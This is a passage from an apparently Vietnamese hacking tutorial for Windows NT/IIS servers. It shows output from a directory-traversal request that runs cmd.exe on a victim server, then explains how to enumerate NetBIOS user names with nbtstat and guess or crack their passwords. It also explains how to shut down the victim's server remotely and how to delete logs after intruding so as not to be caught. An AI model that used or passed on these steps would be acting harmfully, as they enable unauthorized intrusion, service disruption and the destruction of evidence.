PROCESSOR_REVISION=0303
PROMPT=$P$G
QUERY_STRING=/c+set
REMOTE_ADDR=XX.XX.XX.XX
REMOTE_HOST=XX.XX.XX.XX
REQUEST_METHOD=GET
SCRIPT_NAME=/scripts/..%2f../winnt/system32/cmd.exe
SERVER_NAME=XX.XX.XX.XX
SERVER_PORT=80
SERVER_PORT_SECURE=0
SERVER_PROTOCOL=HTTP/1.1
SERVER_SOFTWARE=Microsoft-IIS/3.0
SystemDrive=D:
SystemRoot=D:WINNT
TZ=GMT-9
USERPROFILE=D:WINNTProfilesDefault User
windir=D:WINNT

đây là cách khá ngu..nhưng chỉ có cách này mới 100% biết đuợc homepage tên gì..ở ảâ ? khi cậu Dir ..chắc chắn là sẽ View được rất nhiều files đấy`.....

phần 6 : Nbtstat

nếu cậu Scan đuợc một máy sữ dụng Winnt...open port 135-139...thế thì bồ phải dùng lệnh này để biết thêm user thôi...

* tiện thể xin nói luôn...đây là netbios....sau khi có user rồi bạn có thể đoán mò password..nếu không thi Cracking luôn đi

Nbtstat - A XXX.XXX.XXX.XXX

sau đây là kết quả tớ scan được.....

NetBIOS Remote Machine Name Table

Name Type Status
---------------------------------------------
Registered Registered Registered Registered Registered Registered Registered Reg
istered Registered Registered Registered
MAC Address = 00-E0-29-14-35-BA
PENTIUMII <00> UNIQUE
PENTIUMII <20> UNIQUE
ORAHOTOWN <00> GROUP
ORAHOTOWN <1C> GROUP
ORAHOTOWN <1B> UNIQUE
PENTIUMII <03> UNIQUE
INet~Services <1C> GROUP
IS~PENTIUMII...<00> UNIQUE
ORAHOTOWN <1E> GROUP
ORAHOTOWN <1D> UNIQUE
..__MSBROWSE__.<01> GROUP

kết quả cho biết User là PENTIUMII。


phần 7 : Shutdown

nhìn lệnh thôi cũng đủ biết rồi phải hông ? đây là lệnh shutdown server Winnt

Shutdown 127.0.0.1 t:20

20 giây sau...Winnt sẽ tự khời động lại.......hi vọng các bạn suy nghỉ kỷ trước khi dùng lệnh này....vì nó sẽ làm tổn thất rất nặng cho victim...hãy làm tay hacker có đạo đức


phần 8 : Dir....

lệnh này không có gì để nói hết..chỉ dùng để view thôi.................


phần 9 : Del

lệnh này giống như xoá nhật ký vậy đó.....khi chúng ta xâm nhập máy tình...trên hệ thống sẽ lưu lại thông tin của chúng ta..vì thế..nên del nó đi...chư muốn bị tóm cổ hả ?
May 2012
M T W T F S S
April 2012June 2012
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30 31